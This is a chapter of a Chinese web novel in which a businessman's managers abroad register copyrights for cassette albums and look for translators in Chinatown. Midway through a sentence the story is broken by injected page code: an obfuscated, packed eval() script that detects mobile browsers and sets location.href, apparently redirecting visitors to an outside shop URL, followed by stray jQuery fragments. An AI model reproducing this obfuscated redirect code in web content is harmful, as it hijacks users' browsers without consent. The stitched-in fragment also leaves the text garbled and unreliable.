在这次来鹰酱国之前,陈松一直都太忙了,还没来得及准备货物呢。
而且这次的时间比较紧张,他要带人坐飞机过来鹰酱国这边,不可能跟着货轮押运,所以也就没有备货。
但等他这次从鹰酱国回去之后,就要开始备货了。
张凌捷他们留学的这座城市,正好位于鹰酱国的西海岸,距离港口城市虽然有一段距离,但也不算太远,如果开车的话用不了一上午就能赶到。
等陈松把货物备好之后,就跟着货轮过来这边,让张凌捷他们在港口接应一下,然后就准备打开鹰酱国的市场了。
在这之前,照例可以先进行文化输出一波,赚一大笔快钱!
所以在这次来鹰酱国之前,陈松就准备好了很多的原声带!
包括徐海婷和松海乐队之前出版的专辑,有两个版本的:龙国语言版的,也有外语版的。
这些老歌在鹰酱国还没宣传过,也没卖过,所以都还能在鹰酱国再卖一波,挖掘一些潜在价值出来。
另外还有徐海婷和松海乐队准备的新专辑,全部都是英文版的。
这些就是陈松搞的那些前世的极为流行的外语经典歌曲了,也是这次文化产品输出的主力军!
至于那些老歌,则是顺带着拿过来卖的,毕竟也不难听,虽然未必符合老外的口味,但能卖多少钱算多少钱嘛,蚊子腿再小也是肉啊。
这些老歌在国内的价值已经被深入挖掘过了,快要没有多大的价值了,还能在国外继续发挥余热,再为陈松赚一笔钱,也是挺好的。
陈松之所以把这件事交给他作为主办,其他的人作为辅助,就是因为张凌捷的英语水平是在众人之中最高的。
而且他以前去优罗洲出国办理过事情,出差经验丰富,跟老外打交道的经验也很丰富。
而且他还是厂长,办成过好几件大事情,能力也是无需质疑的。
其实陈松带过来的这些人,已经担任了这么长时间的厂长,能力都得到了很大的锻炼,基本都可以独当一面了。
就算以前能力不行,或者压根就没什么能力,经过这么长时间的扶持和锻炼,也提升到很高的水平了。
可以说,他们现在的头脑和能力都比普通人强的多,见识、眼界和经验也比一般的人丰富得多。
有张凌捷作为主办,其他的人辅助,这件事几乎就是没有任何疑问的,妥妥的。
要知道,这地方可是集中了陈松手底下的所有精英啊,要是这么多人集中在一起,都不能把这件事办好了,那岂不是显得陈松很无能,没有培养出优秀的人才?!
张凌捷带着磁带,来到了本市的知识产权部门。
鹰酱国是一个资本主义国家,而且讲究的是个人利益至上,所以这个国家的法律对个人利益的保护,是非常的完善的。
这其中就包括对知识产权、专利权、版权等等的个**利的保护。
张凌捷带着从新龙国带过来的原声带,来到知识产权管理部门,对这些磁带进行了认证。
如此一来,徐海婷和松海乐队所唱的歌曲,在鹰酱国这边就是得到官方的认可,受到官方保护版权的作品了。
张凌捷是利用周末休假的时间,过去办理的这些手续。幸好他的学业比较好,头脑也聪明,即使浪费几个周末不学习,也不会落下太多的成绩。
别看他的年龄是这群人中最大的人之一,但他的脑力却是一点都不输于年轻人呢。
因为要一首歌曲一首歌曲地做认证,而徐海婷和松海乐队唱过的歌又那么多,所以很是费时间。
张凌捷是花费了好几个周末才把这件事办完的。
如果是鹰酱国的本国人办理这件事的话,并不复杂,也不算困难,就是比较耗费时间。
但对于张凌捷来说,最大的难点在于徐海婷和松海乐队本人没在这里,需要把他们的身份证、护照和签证通过传真的方式发送过来。
还得通过电话给他们确认身份,并且证明这些歌曲确实是他们的原唱。
跨国办理某些手续,就是很复杂的事
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664584|171444||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
张凌捷他们这些人之中,其他人的外语水平还不如张凌捷呢,所以张凌捷让别人帮忙的话也不放心,干脆就自己办完了,根本没让别人辅助。
不管这中间的过程多么复杂而又崎岖坎坷,这件事在张凌捷的努力沟通之下,终于算是没有辜负陈松的期望和嘱托,把版权都拿到手了!
然后,这个接力棒就传递到了颜淑玉的手中。
因为张凌捷对出版文化产品的流程是一窍不通,而颜淑玉在晓滥国的时候,曾经跟本田正武的出版社合作出版过磁带和小说。
虽然鹰酱国这边的手续和流程,可能和晓滥国那边并不完全一样,但万变不离其宗,颜淑玉对这些流程最起码并不完全陌生。
只是颜淑玉的外语水平还有待提高,日常交流没问题,但涉及到出版发行磁带的专业用语领域,她就不懂了,所以还得带上翻译人员。
在鹰酱国这地方,想雇佣翻译人员的话,说简单也简单,说困难也困难。
困难的原因是,绝大多数的鹰酱国人连新龙国人都很少见到,跟别说会讲新龙国的语言了。
主要是因为没改革开放之前,几乎很少有新龙国的人来到这边,这也是张凌捷他们初来乍到的时候,被这边的人误以为是晓滥国人或大寒人的原因。
指望这些老外懂新龙国的语言,还愿意给他们充当翻译,这几乎是没指望了。
但说简单也简单,因为几乎在鹰酱国这边的每一个大型城市,都会有一条chinatown!也就是唐人街!
这地方的人,大部分都会说外语和龙国语这两种语言,给张凌捷他们充当翻译是最好不过的了。
再加上陈松在招聘翻译的时候开出的价码很高,所以就有大批的人积极踊跃地来报名面试。
陈松给张凌捷他们雇佣了一个上课时的翻译。
但其他面试人员的联系方式也都留下了。
如果一个翻译不够用的话,张凌捷他们可以再根据这些人的联系方式,自费的多招聘几个。